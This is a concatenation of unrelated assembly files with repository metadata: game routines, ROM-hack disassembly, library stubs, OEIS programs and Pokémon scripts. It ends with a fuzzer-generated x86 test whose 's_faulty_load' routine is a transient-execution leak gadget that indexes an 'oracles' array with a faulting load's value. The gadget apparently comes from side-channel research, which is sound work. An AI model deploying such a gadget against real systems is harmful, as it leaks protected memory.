; Render the minimap mmRender: SUBROUTINE LDA #NULL ; Set the colour of the player LDA #PLYRCOLU STA COLUPF ; Set the colour of the map LDA #MAPCOLU STA COLUP0 STA COLUP1 ; Get the player's position and translate it into horizontal movement LDA #%00001000 CLC SEC SBC playerPos ASL ASL ASL ASL STA HMBL ; Set the map's position to the right values LDA #HADJ_A STA HMP0 LDA #HADJ_B STA HMP1 STA WSYNC LDX #HWAIT .wait1: DEX BNE .wait1 DELAY HDELAY1 STA RESP0 STA RESP1 LDA playerPos STA WSYNC LDX #HWAIT .wait2: DEX BNE .wait2 DELAY HDELAY2 STA RESBL
15.408163
74
0.565563
d2ee86b4c091c7bcde862f8b34cb822570468d98
44
asm
Assembly
linux/include/asm-generic/Kbuild.asm
bradchesney79/illacceptanything
4594ae4634fdb5e39263a6423dc255ed46c25208
[ "MIT" ]
55
2019-12-20T03:25:14.000Z
2022-01-16T07:19:47.000Z
linux/include/asm-generic/Kbuild.asm
bradchesney79/illacceptanything
4594ae4634fdb5e39263a6423dc255ed46c25208
[ "MIT" ]
2
2020-11-02T08:01:00.000Z
2022-03-27T02:59:18.000Z
linux/include/asm-generic/Kbuild.asm
bradchesney79/illacceptanything
4594ae4634fdb5e39263a6423dc255ed46c25208
[ "MIT" ]
11
2020-08-06T03:59:45.000Z
2022-02-25T02:31:59.000Z
include include/uapi/asm-generic/Kbuild.asm
22
43
0.840909
f4cc943ef56c055afd4bbfdc4ffa814acccd5ac1
10,727
asm
Assembly
dino/lc/stage.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
dino/lc/stage.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
dino/lc/stage.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 021424 dbra D4, $213f8 021428 rts 02142A moveq #$0, D6 02142C move.b ($4d9,A5), D6 021430 lsl.w #2, D6 021432 movea.l ($20,PC,D6.w), A3 021436 move.w (A1), D2 ;-------- 021548 sub.w D3, D4 02154A add.w D4, D2 02154C moveq #$0, D5 02154E move.b ($4d9,A5), D5 021552 lsl.w #2, D5 021554 movea.l ($8,PC,D5.w), A1 021558 lea (A1,D2.w), A1 ;-------- 00CCF0 addq.b #2, ($0,A6) 00CCF4 clr.b ($4d5,A5) 00CCF8 jmp $7562.l 00CCFE cmpi.b #$7, ($4d9,A5) 00CD04 bne $cd10 00CD10 clr.b ($4e2,A5) 00CD14 jmp $910.l ;-------- 02088E move.w ($48,A6), D1 020892 dbra D7, $20874 020896 rts 020898 cmpi.b #$4, ($4d9,A5) 02089E bne $208a4 0208A4 cmpi.b #$7, ($4d9,A5) 0208AA bne $208b0 ;-------- 020770 cmpi.b #$6, ($4d9,A5) 020776 bne $207ca 0207CA moveq #$0, D0 0207CC move.b ($4d9,A5), D0 0207D0 lsl.w #2, D0 0207D2 movea.l #$21580, A0 0207D8 movea.l (A0,D0.w), A0 ;-------- 008C4C dbra D7, $8c40 008C50 rts 008D92 moveq #$0, D0 008D94 move.b ($4d9,A5), D0 008D98 lea ($52,PC) ; ($8dec), A1 008D9C cmpi.b #$6, D0 008DA0 bne $8dac ;-------- 008A26 move.l A0, -(A7) 008A28 bsr $8c20 008A2C movea.l (A7)+, A0 008A2E move.b (A0)+, ($4d9,A5) 008A32 move.b (A0)+, ($786,A5) 008A36 bsr $8d92 008A3A move.b (A7)+, ($786,A5) ;-------- 01800A bra $18048 01800E lea ($5ec,A5), A6 018012 moveq #$0, D0 018014 move.b ($4d9,A5), D0 018018 lsl.w #3, D0 01801A lea ($21e,PC) ; ($1823a), A0 01801E adda.w D0, A0 ;-------- 020896 rts 020898 cmpi.b #$4, ($4d9,A5) 02089E bne $208a4 0208A4 cmpi.b #$7, ($4d9,A5) 0208AA bne $208b0 0208B0 cmpi.b #$e, ($5,A6) 0208B6 beq $20918 ;-------- 02056E move.l (A3)+, (A0)+ 020570 rts 020572 moveq #$0, D2 020574 move.b ($4d9,A5), D2 020578 add.w D2, D2 02057A add.w D2, D2 02057C lea $2155e.l, A1 ;-------- 02075E addi.l #$10, ($56,A6) 020766 clr.b ($4dc,A5) 02076A move.w #$12d6, ($28,A5) 020770 cmpi.b #$6, ($4d9,A5) 020776 bne $207ca 0207CA moveq #$0, D0 0207CC move.b ($4d9,A5), D0 ;-------- 0208DC movea.l ($56,A6), A4 0208E0 tst.b ($79,A6) 0208E4 bne $20902 0208E6 cmpi.b #$6, ($4d9,A5) 0208EC bne $208f6 0208F6 move.w ($0,A4), D0 0208FA cmp.w ($8,A6), D0 ;-------- 01D96C move.b D0, ($4dd,A5) 01D970 move.b D0, ($4de,A5) 01D974 moveq #$0, D0 01D976 move.b ($4d9,A5), D0 01D97A add.w D0, D0 01D97C add.w D0, D0 01D97E movea.l ($30,PC,D0.w), A0 ;-------- 022E1C move.w D0, ($8,A6) 022E20 moveq #$0, D0 022E22 moveq #$0, D2 022E24 move.b ($4d9,A5), D0 022E28 add.w D0, D0 022E2A add.w D0, D0 022E2C move.b ($786,A5), D2 ;-------- 07B33A move.w ($6,PC,D0.w), D0 07B33E jmp ($2,PC,D0.w) 07B34A moveq #$0, D0 07B34C move.b ($4d9,A5), D0 07B350 add.w D0, D0 07B352 add.w D0, D0 07B354 movea.l ($26,PC,D0.w), A0 ;-------- 008ADA dbra D7, $8ace 008ADE rts 008C20 moveq #$0, D0 008C22 move.b ($4d9,A5), D0 008C26 lsl.w #4, D0 008C28 moveq #$0, D1 008C2A move.b ($786,A5), D1 ;-------- 018AB2 bne $18b36 018AB6 cmpi.b #$1, ($4d9,A5) 018ABC beq $18aca 018AC0 cmpi.b #$3, ($4d9,A5) 018AC6 bne $18b36 018B36 rts 018C88 move.w ($20,A6), D0 ;-------- 004E12 clr.l ($4,A6) 004E16 clr.w ($10c,A6) 004E1A moveq #$0, D0 004E1C move.b ($4d9,A5), D0 004E20 add.w D0, D0 004E22 move.w ($32,PC,D0.w), D0 004E26 lea ($2e,PC,D0.w), A0 ;-------- 008A14 bsr $8a8e 008A18 bsr $8aae 008A1C movea.l (A7)+, A0 008A1E move.b (A0)+, ($4d9,A5) 008A22 move.b (A0)+, ($786,A5) 008A26 move.l A0, -(A7) 008A28 bsr $8c20 ;-------- 00FBF8 tst.b ($4,A4) 00FBFC bne $fc6e 00FC00 moveq #$0, D0 00FC02 move.b ($4d9,A5), D0 00FC06 add.w D0, D0 00FC08 add.w D0, D0 00FC0A movea.l ($22,PC,D0.w), A0 ;-------- 022CB8 jmp ($2,PC,D1.w) 022CC0 addq.b #2, ($4,A6) 022CC4 moveq #$0, D0 022CC6 move.b ($4d9,A5), D0 022CCA lsl.w #2, D0 022CCC movea.l #$2311e, A0 022CD2 movea.l (A0,D0.w), A0 ;-------- 010248 jsr $6b98.l 01024E rts 01031A moveq #$0, D0 01031C move.b ($4d9,A5), D0 010320 lsl.w #3, D0 010322 moveq #$0, D1 010324 move.b ($786,A5), D1 ;-------- 01DA1E move.b D0, ($4dd,A5) 01DA22 move.b D0, ($4de,A5) 01DA26 moveq #$0, D0 01DA28 move.b ($4d9,A5), D0 01DA2C lsl.w #2, D0 01DA2E movea.l ($34,PC,D0.w), A0 01DA32 moveq #$0, D0 ;-------- 02A120 moveq #$0, D0 02A122 move.b (A0,D1.w), D0 02A126 jsr $10036.l 02A12C cmpi.b #$2, ($4d9,A5) 02A132 bne $2a148 02A148 move.w #$600, ($4,A6) 02A14E rts ;-------- 0230BC rts 0230BE movea.l ($42,A6), A2 0230C2 move.w D0, D3 0230C4 cmpi.b #$2, ($4d9,A5) 0230CA beq $230ea 0230CC asr.w #8, D3 0230CE moveq #$0, D2 ;-------- 018AA8 jsr $655e.l 018AAE tst.b ($786,A5) 018AB2 bne $18b36 018AB6 cmpi.b #$1, ($4d9,A5) 018ABC beq $18aca 018AC0 cmpi.b #$3, ($4d9,A5) 018AC6 bne $18b36 ;-------- 00ACAC clr.b ($7b4,A5) 00ACB0 jsr $a5d2.l 00ACB6 moveq #$0, D0 00ACB8 tst.b ($4d9,A5) 00ACBC beq $acc4 00ACC4 moveq #$1, D0 00ACC6 moveq #$0, D1 ;-------- 01E4DC addq.b #2, ($d3,A6) 01E4E0 bra $1df10 01E4E4 lea ($4c,PC) ; ($1e532), A0 01E4E8 cmpi.b #$7, ($4d9,A5) 01E4EE bne $1e4f6 01E4F6 tst.b ($4ef,A5) 01E4FA beq $1e526 ;-------- 008DC4 move.w (A1)+, $800142.l 008DCA rts 008E4C moveq #$0, D0 008E4E move.b ($4d9,A5), D0 008E52 lsl.w #4, D0 008E54 moveq #$0, D1 008E56 move.b ($786,A5), D1 ;-------- 01806C lea ($74a,PC) ; ($187b8), A0 018070 move.w (A0,D0.w), ($c,A6) 018076 moveq #$0, D0 018078 move.b ($4d9,A5), D0 01807C lsl.w #2, D0 01807E moveq #$0, D1 018080 move.b ($786,A5), D1 ;-------- 0206FE move.b #$ff, ($73,A6) 020704 jsr $8a44.l 02070A jsr $8932.l 020710 cmpi.b #$2, ($4d9,A5) 020716 bne $20720 020720 andi.w #$fffe, ($26,A5) 020726 cmpi.b #$e, ($5,A6) ;-------- 0130F6 rol.w #6, D2 0130F8 lea ($a12,PC) ; ($13b0c), A0 0130FC moveq #$0, D3 0130FE move.b ($4d9,A5), D3 013102 lsl.w #3, D3 013104 move.b ($786,A5), D4 013108 add.w D4, D4 ;-------- 02233E tst.b ($5,A6) 022342 bpl $22346 022344 neg.w D0 022346 cmpi.b #$6, ($4d9,A5) 02234C bne $22360 022360 add.w ($748,A5), D0 022364 move.w D0, ($868,A5) ;-------- 0089EA move.b ($786,A5), -(A7) 0089EE asl.w #3, D0 0089F0 lea ($6c,PC,D0.w), A0 0089F4 move.b (A0)+, ($4d9,A5) 0089F8 move.b (A0)+, ($786,A5) 0089FC move.l A0, -(A7) 0089FE clr.w $9157fe.l ;-------- 02041E clr.l ($836,A5) 020422 jsr $b6c.l 020428 jmp $b88.l 02042E cmpi.b #$2, ($4d9,A5) 020434 bne $20448 020448 jsr $206d4.l 02044E jmp $22caa.l ;-------- 01E3B6 move.w #$1, ($d8,A6) 01E3BC rts 01E3BE moveq #$0, D0 01E3C0 move.b ($4d9,A5), D0 01E3C4 lsl.w #4, D0 01E3C6 lea ($2c,PC,D0.w), A0 01E3CA moveq #$0, D0 ;-------- 008AA8 dbra D7, $8a9c 008AAC rts 008AAE moveq #$0, D0 008AB0 move.b ($4d9,A5), D0 008AB4 lsl.w #4, D0 008AB6 moveq #$0, D1 008AB8 move.b ($786,A5), D1 ;-------- 020F3A move.w D1, ($c,A6) 020F3E bra $2126e 020F42 moveq #$0, D1 020F44 move.b ($4d9,A5), D1 020F48 add.w D1, D1 020F4A add.w D1, D1 020F4C add.b ($786,A5), D1 ;-------- 0129A4 or.w D0, D0 0129A6 rts 012BE4 moveq #$0, D0 012BE6 move.b ($4d9,A5), D0 012BEA add.w D0, D0 012BEC move.w ($52,PC,D0.w), ($6b0,A5) 012BF2 lea ($3c,PC) ; ($12c30), A0 ;-------- 008A32 move.b (A0)+, ($786,A5) 008A36 bsr $8d92 008A3A move.b (A7)+, ($786,A5) 008A3E move.b (A7)+, ($4d9,A5) 008A42 rts 008A44 clr.w $9157fe.l 008A4A bsr $8e4c ;-------- 020928 jsr ($4,PC,D0.w) 02092C rts 02099A moveq #$0, D0 02099C move.b ($4d9,A5), D0 0209A0 add.w D0, D0 0209A2 movea.l #$21b2a, A4 0209A8 move.w (A4,D0.w), D0 ;-------- 0214F0 movea.l ($42,A6), A2 0214F4 move.w D0, D3 0214F6 andi.w #$ffe0, D3 0214FA cmpi.b #$2, ($4d9,A5) 021500 beq $21520 021502 asr.w #8, D3 021504 moveq #$0, D2 ;-------- 020542 dbra D4, $2053a 020546 rts 020548 moveq #$0, D2 02054A move.b ($4d9,A5), D2 02054E add.w D2, D2 020550 add.w D2, D2 020552 lea $21454.l, A3 ;-------- 01DA3A adda.w D0, A0 01DA3C move.b (A0)+, ($4de,A5) 01DA40 move.b ($4e4,A5), ($4dd,A5) 01DA46 tst.b ($4d9,A5) 01DA4A bne $1da56 01DA4C cmpi.b #$2, ($786,A5) 01DA52 bne $1da56 ;-------- 00B9BE lea $8000.w, A5 00B9C2 lea ($735e,A5), A6 00B9C6 clr.l ($0,A6) 00B9CA tst.b ($4d9,A5) 00B9CE bne $b9d4 00B9D0 bsr $b9f6 00B9D4 moveq #$0, D0 ;-------- 00A55A cmpi.b #$2, ($7b4,A5) 00A560 beq $a5a2 00A564 moveq #$0, D0 00A566 move.b ($4d9,A5), D0 00A56A add.w D0, D0 00A56C add.w D0, D0 00A56E moveq #$0, D1 ;-------- 022D8C move.w ($6,PC,D0.w), D0 022D90 jmp ($2,PC,D0.w) 022DC6 moveq #$0, D0 022DC8 move.b ($4d9,A5), D0 022DCC add.w D0, D0 022DCE move.w ($14,PC,D0.w), D0 022DD2 lea ($10,PC,D0.w), A0 ;-------- 01DF5C move.b D0, ($a0,A6) 01DF60 moveq #$c, D1 01DF62 moveq #$18, D2 01DF64 cmpi.b #$2, ($4d9,A5) 01DF6A bne $1df70 01DF70 move.w ($8,A6), D0 01DF74 sub.w ($dc,A6), D0 ;-------- 01E07A bra $1df10 01E07E lea ($e6a,PC) ; ($1eeea), A0 01E082 moveq #$0, D0 01E084 move.b ($4d9,A5), D0 01E088 lsl.w #2, D0 01E08A movea.l (A0,D0.w), A0 01E08E moveq #$0, D0 ;-------- 0089FE clr.w $9157fe.l 008A04 bsr $8e4c 008A08 movea.l (A7)+, A0 008A0A move.b (A0)+, ($4d9,A5) 008A0E move.b (A0)+, ($786,A5) 008A12 move.l A0, -(A7) 008A14 bsr $8a8e ;-------- 0089DE or.w D0, (A1)+ 0089E0 dbra D6, $89c0 0089E4 rts 0089E6 move.b ($4d9,A5), -(A7) 0089EA move.b ($786,A5), -(A7) 0089EE asl.w #3, D0 0089F0 lea ($6c,PC,D0.w), A0 ;-------- 00CCC4 bra $cc84 00CCC6 addi.w #$c, ($8,A6) 00CCCC addi.w #$c, ($6c4,A5) 00CCD2 tst.b ($4d9,A5) 00CCD6 beq $ccde 00CCDE move.w #$180, D0 00CCE2 cmp.w ($6c4,A5), D0 ;-------- copyright zengfr site:http://github.com/zengfr/romhack
25.47981
54
0.529971
f6a84d57868b0bbee58726de56703cb2192c2024
214
asm
Assembly
libsrc/_DEVELOPMENT/adt/b_vector/c/sccz80/b_vector_shrink_to_fit.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
8
2017-01-18T12:02:17.000Z
2021-06-12T09:40:28.000Z
libsrc/_DEVELOPMENT/adt/b_vector/c/sccz80/b_vector_shrink_to_fit.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
1
2017-03-06T07:41:56.000Z
2017-03-06T07:41:56.000Z
libsrc/_DEVELOPMENT/adt/b_vector/c/sccz80/b_vector_shrink_to_fit.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
3
2017-03-07T03:19:40.000Z
2021-09-15T17:59:19.000Z
; int b_vector_shrink_to_fit(b_vector_t *v) SECTION code_clib SECTION code_adt_b_vector PUBLIC b_vector_shrink_to_fit EXTERN asm_b_vector_shrink_to_fit defc b_vector_shrink_to_fit = asm_b_vector_shrink_to_fit
17.833333
56
0.878505
790cdbf276e7c753cc083f2b3197f8ccf20a38a5
302
asm
Assembly
programs/oeis/021/A021862.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/021/A021862.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/021/A021862.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A021862: Decimal expansion of 1/858. ; 0,0,1,1,6,5,5,0,1,1,6,5,5,0,1,1,6,5,5,0,1,1,6,5,5,0,1,1,6,5,5,0,1,1,6,5,5,0,1,1,6,5,5,0,1,1,6,5,5,0,1,1,6,5,5,0,1,1,6,5,5,0,1,1,6,5,5,0,1,1,6,5,5,0,1,1,6,5,5,0,1,1,6,5,5,0,1,1,6,5,5,0,1,1,6,5,5,0,1 sub $0,1 cal $0,70374 ; a(n) = 5^n mod 21. div $0,3 mov $1,$0
37.75
199
0.533113
3bd73404c50c0d9d06ec225b6b50bbba192e1472
901
asm
Assembly
programs/oeis/022/A022118.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/022/A022118.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/022/A022118.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A022118: Fibonacci sequence beginning 2, 17. ; 2,17,19,36,55,91,146,237,383,620,1003,1623,2626,4249,6875,11124,17999,29123,47122,76245,123367,199612,322979,522591,845570,1368161,2213731,3581892,5795623,9377515,15173138,24550653,39723791,64274444,103998235,168272679,272270914,440543593,712814507,1153358100,1866172607,3019530707,4885703314,7905234021,12790937335,20696171356,33487108691,54183280047,87670388738,141853668785,229524057523,371377726308,600901783831,972279510139,1573181293970,2545460804109,4118642098079,6664102902188,10782745000267,17446847902455,28229592902722,45676440805177,73906033707899,119582474513076,193488508220975,313070982734051,506559490955026,819630473689077,1326189964644103,2145820438333180,3472010402977283,5617830841310463,9089841244287746 mov $1,2 mov $2,5 mov $4,$0 add $4,4 sub $4,$0 add $2,$4 add $2,6 lpb $0,1 sub $0,1 mov $3,$2 mov $2,$1 add $1,$3 lpe
53
726
0.833518
bbe8772450b148b5bd943d64bf6befbd86b2767b
813
asm
Assembly
maps/Route16.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
maps/Route16.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
maps/Route16.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
Route16_MapScripts: db 0 ; scene scripts db 1 ; callbacks callback MAPCALLBACK_NEWMAP, .AlwaysOnBike .AlwaysOnBike: readvar VAR_YCOORD ifless 5, .CanWalk readvar VAR_XCOORD ifgreater 13, .CanWalk setflag ENGINE_ALWAYS_ON_BIKE return .CanWalk: clearflag ENGINE_ALWAYS_ON_BIKE return CyclingRoadSign: jumptext CyclingRoadSignText CyclingRoadSignText: text "CYCLING ROAD" para "DOWNHILL COASTING" line "ALL THE WAY!" done Route16_MapEvents: db 0, 0 ; filler db 5 ; warp events warp_event 3, 1, ROUTE_16_FUCHSIA_SPEECH_HOUSE, 1 warp_event 14, 6, ROUTE_16_GATE, 3 warp_event 14, 7, ROUTE_16_GATE, 4 warp_event 9, 6, ROUTE_16_GATE, 1 warp_event 9, 7, ROUTE_16_GATE, 2 db 0 ; coord events db 1 ; bg events bg_event 5, 5, BGEVENT_READ, CyclingRoadSign db 0 ; object events
18.066667
52
0.757688
4beea3c283393c4925118f97d626cfe896b8d5c7
152
asm
Assembly
libsrc/_DEVELOPMENT/arch/ts2068/display/c/sdcc/tshr_saddrcup.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/ts2068/display/c/sdcc/tshr_saddrcup.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/ts2068/display/c/sdcc/tshr_saddrcup.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void *tshr_saddrcup(void *saddr) SECTION code_clib SECTION code_arch PUBLIC _tshr_saddrcup EXTERN _zx_saddrcup defc _tshr_saddrcup = _zx_saddrcup
13.818182
34
0.828947
c500b3265617aba4375fa199a5591cb3cf70214e
403
asm
Assembly
audio/sfx/cry0e_3.asm
AmateurPanda92/pokemon-rby-dx
f7ba1cc50b22d93ed176571e074a52d73360da93
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
audio/sfx/cry0e_3.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
audio/sfx/cry0e_3.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
SFX_Cry0E_3_Ch4: dutycycle 165 squarenote 4, 14, 1, 1792 squarenote 4, 15, 2, 1920 squarenote 2, 9, 2, 1856 squarenote 8, 14, 1, 1536 endchannel SFX_Cry0E_3_Ch5: dutycycle 10 squarenote 4, 11, 1, 1761 squarenote 3, 12, 2, 1761 squarenote 3, 6, 2, 1665 squarenote 8, 11, 1, 1505 endchannel SFX_Cry0E_3_Ch7: noisenote 2, 6, 1, 50 noisenote 2, 6, 1, 33 noisenote 8, 6, 1, 17 endchannel
16.791667
26
0.699752
33fa11a0d0efca48c3f4abdec4222d88cfedafde
7,917
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1420.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1420.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1420.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r9 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x1f42, %rbp nop nop and %rbx, %rbx movb (%rbp), %r9b nop nop nop nop sub %rdi, %rdi lea addresses_UC_ht+0x1ba42, %rsi lea addresses_UC_ht+0x7ece, %rdi nop nop nop nop sub $15939, %rbx mov $5, %rcx rep movsb nop nop nop nop add $33825, %r9 lea addresses_UC_ht+0x19242, %rbp nop nop nop and $50609, %rcx mov (%rbp), %rdi nop nop nop cmp %rdi, %rdi lea addresses_WT_ht+0x14632, %rbp sub %r14, %r14 movw $0x6162, (%rbp) sub $32239, %rdi lea addresses_WT_ht+0x3cf2, %rbp nop add $44000, %r14 movb (%rbp), %cl nop nop nop nop nop inc %r14 lea addresses_A_ht+0x10e42, %rsi lea addresses_normal_ht+0xd8e1, %rdi nop cmp %rbx, %rbx mov $28, %rcx rep movsl nop nop and $21934, %r14 lea addresses_WC_ht+0x13042, %rsi lea addresses_normal_ht+0xd172, %rdi nop nop nop xor %r14, %r14 mov $121, %rcx rep movsl nop nop add $24670, %rcx lea addresses_UC_ht+0x4a7a, %r9 clflush (%r9) nop nop nop add %rbx, %rbx movb (%r9), %r14b nop nop nop nop nop add $4983, %r14 lea addresses_UC_ht+0x16742, %rdi nop nop nop nop cmp $26475, %rsi mov (%rdi), %rbp nop nop nop nop nop inc %rsi lea addresses_normal_ht+0xef96, %rsi nop nop nop add %rdi, %rdi mov $0x6162636465666768, %r14 movq %r14, %xmm6 vmovups %ymm6, (%rsi) nop nop nop nop sub %r14, %r14 lea addresses_WT_ht+0x15a42, %rsi lea addresses_WC_ht+0xa32a, %rdi nop nop nop nop nop sub $41808, %r10 mov $27, %rcx rep movsl add $21593, %rcx lea addresses_WT_ht+0xd0c2, %r10 add %rbp, %rbp movb $0x61, (%r10) nop nop nop nop add %r10, %r10 lea addresses_WC_ht+0x1eb99, %r10 add $24383, %rdi movw $0x6162, (%r10) nop sub $39034, %rbp lea addresses_WT_ht+0x15242, %r9 nop nop nop sub %rdi, %rdi mov (%r9), %si nop nop nop nop xor $51934, %rbp lea addresses_WC_ht+0x10e42, %rcx nop nop nop xor $56603, %r14 mov (%rcx), %bx nop add $28362, %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %r8 push %r9 push %rcx push %rsi // Store lea addresses_WC+0xd042, %r8 nop sub %r12, %r12 mov $0x5152535455565758, %r14 movq %r14, %xmm4 vmovups %ymm4, (%r8) nop nop nop nop cmp $11271, %rcx // Faulty Load lea addresses_WT+0x9242, %r10 nop nop nop nop nop sub %r9, %r9 mov (%r10), %r14d lea oracles, %r9 and $0xff, %r14 shlq $12, %r14 mov (%r9,%r14,1), %r14 pop %rsi pop %rcx pop %r9 pop %r8 pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 9}} [Faulty Load] {'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}} {'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 3}} {'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}} {'src': {'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 1, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8, 'NT': True, 'same': False, 'congruent': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}} {'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': True, 'size': 1, 'NT': False, 'same': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}} {'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 